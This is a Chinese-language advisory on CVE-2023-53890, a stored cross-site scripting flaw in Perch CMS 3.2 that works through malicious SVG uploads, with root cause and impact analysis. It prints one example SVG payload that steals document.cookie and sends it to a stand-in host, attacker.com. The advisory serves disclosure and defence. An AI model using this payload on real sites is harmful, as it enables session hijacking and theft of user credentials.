CVE-2023-53890CVE-2023-53890是Perch CMS 3.2版本中存在的一个高危安全漏洞,属于存储型跨站脚本攻击(Stored Cross-Site Scripting)类型。该漏洞允许经过身份验证的低权限用户通过上传包含恶意JavaScript代码的SVG文件来触发客户端攻击。由于SVG文件格式支持内嵌脚本,攻击者可以在SVG文件中插入<script>标签或其他事件处理器(如onload、onerror等),当其他用户访问或查看这些上传的SVG文件时,恶意脚本将在受害者浏览器上下文中执行。攻击成功后,攻击者可以窃取用户的会话Cookie、劫持用户会话、进行钓鱼攻击或执行其他恶意操作。由于该漏洞存储在服务器端,所有访问该恶意文件的用户都会受到攻击,因此影响范围较广。此漏洞需要用户交互才能触发,攻击复杂度较低,但需要攻击者拥有有效的Perch CMS账户。CVSS 3.1评分为5.4,属于中等严重程度,主要影响系统的机密性和完整性。
该漏洞存在于Perch CMS的文件上传功能模块中。Perch CMS在处理用户上传的SVG文件时,未对文件内容进行充分的过滤和清理。SVG(可缩放矢量图形)是一种基于XML的矢量图形格式,支持通过<script>标签嵌入JavaScript代码或通过事件属性(如onload、onerror、onclick等)执行脚本。攻击者可以构造一个恶意SVG文件,其中包含如下恶意代码:<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"><script>document.location='https://attacker.com/steal?cookie='+document.cookie</script></svg>。当管理员或其他用户通过CMS管理界面预览或访问该SVG文件时,浏览器会解析SVG并执行其中的JavaScript代码。由于Perch CMS将上传的文件存储在服务器端并可被其他用户访问,这个恶意脚本会被永久存储,每次有人访问该文件时都会执行。攻击者利用此漏洞可以绕过同源策略限制,窃取受害者的认证令牌、会话ID或其他敏感信息,进而冒充合法用户进行操作。漏洞的根本原因在于CMS对上传文件类型检查不严格,且未对SVG等可包含脚本的文件格式进行内容清理或安全处理。